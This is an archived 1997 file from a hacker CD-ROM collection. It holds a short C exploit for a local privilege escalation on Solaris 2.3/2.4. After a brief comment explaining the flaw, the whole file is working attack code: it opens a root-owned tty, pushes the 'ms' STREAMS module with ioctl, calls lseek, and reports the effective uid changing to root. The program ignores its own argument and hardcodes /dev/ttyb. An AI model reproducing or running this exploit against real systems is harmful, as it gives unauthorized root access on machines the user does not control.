home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-sw~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  1.0 KB  |  40 lines

  1.  
  2.  
  3.  
  4.  
  5. /*
  6.  
  7.     Information for this security problem was obtained from Shawn Instenes
  8.  
  9.     who claims he got it from some engineers at Sun. He said that a
  10.  
  11.     patch existed for 2.4 but not 2.3. I was unable to find a patch
  12.  
  13.     for 2.4 or 2.3.  
  14.  
  15.  
  16.  
  17.     If a tty port that is writeable by the user and owned by root is
  18.  
  19.     opened and the I_PUSH "ms" ioctl call made followed by an lseek
  20.  
  21.     the effective uid of the user is changed to root.
  22.  
  23. */
  24.  
  25. #include <stdio.h>
  26.  
  27. #include <unistd.h>
  28.  
  29. #include <fcntl.h>
  30.  
  31. #include <sys/types.h>
  32.  
  33. #include <stropts.h>
  34.  
  35. #include <sys/stat.h>
  36.  
  37. #include <sys/conf.h>
  38.  
  39.  
  40.  
  41. main(argc, argv)
  42.  
  43.     int        argc;
  44.  
  45.     char*    argv[];
  46.  
  47. {
  48.  
  49.     int        fd;
  50.  
  51.  
  52.  
  53.     if (argc < 2)
  54.  
  55.     {
  56.  
  57.     fprintf(stderr, "usage: %s /dev/ttyX\n", argv[0]);
  58.  
  59.     exit(1);
  60.  
  61.     }
  62.  
  63.  
  64.  
  65.     fd = open("/dev/ttyb", O_RDWR);
  66.  
  67.     printf("Your current effective uid is %d\n", geteuid());
  68.  
  69.     ioctl(fd, I_PUSH, "ms");
  70.  
  71.     lseek(fd, 0, 1);
  72.  
  73.     printf("Your effective uid has been changed to %d\n", geteuid());
  74.  
  75. }
  76.  
  77.  
  78.  
  79.